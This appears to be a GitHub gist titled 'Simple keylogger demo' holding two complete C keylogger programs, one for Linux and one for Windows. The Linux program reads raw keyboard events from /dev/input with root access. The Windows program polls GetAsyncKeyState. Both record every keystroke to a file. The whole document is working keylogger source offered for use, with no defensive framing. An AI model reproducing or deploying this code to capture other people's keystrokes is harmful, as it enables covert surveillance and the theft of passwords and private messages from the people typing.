Last active
August 23, 2022 18:09
-
-
Save Raffy27/261c74916bd9e723801977d5643504de to your computer and use it in GitHub Desktop.
Simple keylogger demo
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <fcntl.h> | |
#include <linux/input.h> | |
#include <unistd.h> | |
#include <signal.h> | |
#include <stdlib.h> | |
FILE *logfile; | |
int key_count = 0; | |
const char code_map[][20] = { | |
"[KEY_RESERVED]", "[KEY_ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", | |
"[KEY_BACKSPACE]", "[KEY_TAB]", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", | |
"[KEY_ENTER]\n", "[KEY_CTRL]", "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", "'", "`", | |
"[KEY_SHIFT]", "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", "[KEY_SHIFT]", | |
"[KP_ASTERISK]", "[KEY_ALT]", " ", "[KEY_CAPS]", "[KEY_F1]", "[KEY_F2]", "[KEY_F3]", | |
"[KEY_F4]", "[KEY_F5]", "[KEY_F6]", "[KEY_F7]", "[KEY_F8]", "[KEY_F9]", "[KEY_F10]", | |
"[KEY_NUM]", "[KEY_SCROLL]", "[KEYPAD_HOME]", "[KEYPAD_UP]", "[KEYPAD_PGUP]", "-", | |
"[KEYPAD_LEFT]", "", "[KEYPAD_RIGHT]", "+", "[KEYPAD_END]", "[KEYPAD_DOWN]", "[KEYPAD_PGDN]", | |
"[KEYPAD_INS]", "[KEYPAD_DEL]", "", "", "[KEY_F11]", "[KEY_F12]", "", "", "", "", "", "", "", | |
"[KEY_KPENTER]\n", "[KEY_RIGHTCTRL]", "/", "", "[RIGHT_ALT]", "", "[KEY_HOME]", "[KEY_UP]", | |
"[KEY_PGUP]", "[KEY_LEFT]", "[KEY_RIGHT]", "[KEY_END]", "[KEY_DOWN]", "[KEY_PGDN]", | |
"[KEY_INSERT]", "[KEY_DELETE]", "", "[KEY_MUTE]", "[KEY_VOLDOWN]", "[KEY_VOLUP]", | |
"[KEY_KPEQUAL]", "", "", "" | |
}; | |
void exitHandler(){ | |
printf("\n--------- Exiting keylogger --------\n"); | |
if(logfile != NULL){ | |
fclose(logfile); | |
} | |
exit(0); | |
} | |
char *getKeyboardFile(){ | |
FILE *res = popen("readlink -f /dev/input/by-path/$(ls /dev/input/by-path/ 2>/dev/null | grep kbd)", "r"); | |
if (res == NULL){ | |
return NULL; | |
} | |
char *fn = calloc(20, sizeof(char)); | |
fscanf(res, "%s", fn); | |
return fn; | |
} | |
void logKey(int key){ | |
fprintf(logfile, "%s", code_map[key]); | |
key_count++; | |
printf("\rKeys logged: %5d ", key_count); | |
fflush(stdout); | |
} | |
int main(int argc, char **argv){ | |
if(argc != 2){ | |
printf("Invalid argument count!\n"); | |
printf("Usage: %s logfile\n\n", argv[0]); | |
return 0; | |
} | |
// Find keyboard device to read from | |
char *dev = getKeyboardFile(); | |
printf("Keyboard file: %s\n", dev); | |
printf("Log file: %s\n", argv[1]); | |
logfile = fopen(argv[1], "w"); | |
if(logfile == NULL){ | |
printf("Failed to open log file for writing!\n"); | |
return 1; | |
} | |
struct input_event ev; | |
int devFile = open(dev, O_RDONLY); | |
if(devFile == -1){ | |
printf("Failed to open device for reading!\n"); | |
printf("Are you running as root?\n"); | |
return 1; | |
} | |
signal(SIGINT, exitHandler); | |
printf("\n------- Starting keylogger -------\n"); | |
printf("Keys logged: %5d ", key_count); | |
fflush(stdout); | |
while(1){ | |
read(devFile, &ev, sizeof(ev)); | |
if (ev.type == 1 && ev.value == 1){ | |
logKey(ev.code); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <signal.h> | |
#include <windows.h> | |
#include <stdlib.h> | |
FILE *logfile; | |
int key_count = 0; | |
short KEY_MASK = 1 << (sizeof(short) * 8 - 1); | |
void exitHandler(){ | |
printf("\n--------- Exiting keylogger --------\n"); | |
if(logfile != NULL){ | |
fclose(logfile); | |
} | |
exit(0); | |
} | |
void logKey(int key){ | |
fprintf(logfile, "%c", key); | |
key_count++; | |
printf("\rKeys logged: %5d ", key_count); | |
fflush(stdout); | |
} | |
int main(int argc, char **argv){ | |
if(argc != 2){ | |
printf("Invalid argument count!\n"); | |
printf("Usage: %s logfile\n\n", argv[0]); | |
return 0; | |
} | |
printf("Log file: %s\n", argv[1]); | |
// Open log file | |
logfile = fopen(argv[1], "w"); | |
if(logfile == NULL){ | |
printf("Failed to open log file for writing!\n"); | |
return 1; | |
} | |
signal(SIGINT, exitHandler); | |
printf("\n------- Starting keylogger -------\n"); | |
printf("Keys logged: %5d ", key_count); | |
fflush(stdout); | |
while(1){ | |
for(int key = 0x01; key <= 0xfe; key++){ | |
short state = GetAsyncKeyState(key); | |
if(state & KEY_MASK){ | |
logKey(key); | |
Sleep(10); | |
} | |
} | |
Sleep(80); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment